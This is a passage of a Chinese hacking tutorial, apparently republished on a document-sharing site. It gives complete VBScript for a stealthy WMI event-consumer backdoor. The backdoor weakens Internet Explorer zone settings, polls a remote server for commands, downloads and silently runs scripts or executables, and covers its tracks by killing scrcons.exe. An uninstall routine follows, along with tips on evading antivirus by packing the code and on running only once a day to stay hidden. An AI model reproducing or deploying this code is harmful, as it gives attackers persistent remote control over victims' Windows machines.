stxt=“cmdu=”“”&cmdu&“”“:cmdw=”&cmdw&“:cmdl=”“”&cmdl&“”“:on error resume next:set shl=createobject(”“WScript.Shell”“):set aso=createobject(”“ADODB.Stream”“):set ie=createobject(”“InternetExplorer.Application”“):zone=”“HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsZones3”“:set1=zone&”“1201”“:set2=zone&”“1400”“:set3=zone&”“CurrentLevel”“:val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=”“REG_DWORD”“:shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ”“about”“&”“:blank”“:ie.document.write ”“”“:with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ”“GET”“,cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ”“'vbs”“:execute(rt):die:case ”“:bat”“:aso.write .responsebody:aso.savetofile cd&”“_.bat”“,2:aso.close:shl.run chr(34)&cd&”“_.bat”“”“”“,0:die:case ”“'wsh”“:aso.write .responsebody:aso.savetofile cd&”“_.vbs”“,2:aso.close:shl.run ”“cscript.exe ”“”“”“&cd&”“_.vbs”“”“”“,0:die:case ”“exe”“:case else die:end select:if ubound(cmds)<4 then die:end if:.open ”“GET”“,cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&”“”“”“ ”“&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(”“winmgmts:\.rootcimv2:win32_process”“).instances_:if lcase(ps.name)=”“scrcons.exe”“ then ps.terminate:end if:next:end sub”

'配置事件消费者'

set asec=getobject(nslink&“ActiveScriptEventConsumer”).spawninstance_

asec.name=doorname&“_consumer”

asec.scriptingengine=“vbscript”

asec.scripttext=stxt

set asecpath=asec.put_

'配置计时器'

set itimer=getobject(nslink&“__IntervalTimerInstruction”).spawninstance_

itimer.timerid=doorname&“_itimer”

itimer.intervalbetweenevents=runinterval

itimer.skipifpassed=false

itimer.put_

'配置事件过滤器'

set evtflt=getobject(nslink&“__EventFilter”).spawninstance_

evtflt.name=doorname&“_filter”

evtflt.query=“select * from __timerevent where timerid=”“”&doorname&“_itimer”“”

evtflt.querylanguage=“wql”

set fltpath=evtflt.put_

'绑定消费者和过滤器'

set fcbnd=getobject(nslink&“__FilterToConsumerBinding”).spawninstance_

fcbnd.consumer=asecpath.path

fcbnd.filter=fltpath.path

fcbnd.put_

wscript.echo “安装完成”

与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到rootcimv2。特别是XP/2003,ASEC默认已经安装到rootsubscription,只需要相应修改nslink的值,就可以安装脚本后门了。

卸载脚本后门:

cmdl=“HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength”

createobject(“WScript.Shell”).regdelete cmdl       '删除保存命令长度的键值'

nslink=“winmgmts:\.rootcimv2:”

doorname=“vbscript_backdoor”           '根据脚本后门的名字找到各个对象实例'

myconsumer=doorname&“_consumer”

mytimer=doorname&“_itimer”

myfilter=doorname&“_filter”

set binds=getobject(nslink&“__FilterToConsumerBinding”).instances_

for each bind in binds

if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

bind.delete_

exit for

end if

next

getobject(nslink&“ActiveScriptEventConsumer.Name=”“”&myconsumer&“”“”).delete_

getobject(nslink&“__IntervalTimerInstruction.TimerId=”“”&mytimer&“”“”).delete_

getobject(nslink&“__EventFilter.Name=”“”&myfilter&“”“”).delete_

wscript.echo “卸载完成”

几点补充说明:

1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。

2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。

3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。

【结语】

Windows脚本就像万能胶,能够把独立的程序、服务、控件组合起来完成任务。脚本编程的技巧就是组合的技巧。XP和2003比2000自带更多的命令行工具,WMI也大大加强了,脚本的功能水涨船高,可以说是“只有想不到,没有做不到”。一切有待你的发掘。

最后,感谢你耐心看完本文,希望本文可以为你学习Windows脚本提供一些帮助。

欢迎来信与我交流 mailtzzzevazzz@126.com

欢迎访问幻影旅团 www.ph4nt0m.org

【参考资料】

[1] 《Windows脚本技术》 介绍Windows脚本的基础知识

download.microsoft.com/download/winscript56/Install/5.6/W982KMe/CN/scd56chs.exe

[2] WMITools 学习脚本必备,包括CIM Studio、Event Registration、Event Viewer和Object Browser四个工具

download.microsoft.com/download/.NetStandardServer/Install/V1.1/NT5XP/EN-US/WMITools.exe

[3] 《WMI技术指南》 出版社:机械工业出版社 作者:Marcin Policht

www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BH99801035

[4] 《System Administration Scripting Guide》 包含大量WMI脚本示例

www.sometips.com/soft/script_repository.chm

[5] Script. Encoder 官方脚本编码工具

download.microsoft.com/download/winscript56/Install/1.0/WIN98MeXP/CN/sce10chs.exe

[6] 微软脚本中心

www.microsoft.com/china/technet/community/scriptcenter/default.mspx

[7] 《MS Windows Script. Host 2.0 Developers Guide》

www.sometips.com/soft/wsh.zip

自动上传AutoFTP&Mirror的介绍与使用Windows系统

投票系统的作弊与防范脚本安全

手工注入脚本安全

三年之痒Windows系统

SA399第六章读书笔记Windows系统

第 8 部分:安全 shell 及文件共享Windows系统

脚本范文

mysql5.0注入原理脚本安全

windows启动项安全设置

SCO UNIX登陆问题。Windows系统

Windows系统如何使用sqlmap脚本安全(精选6篇)

欢迎下载DOC格式的Windows系统如何使用sqlmap脚本安全,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档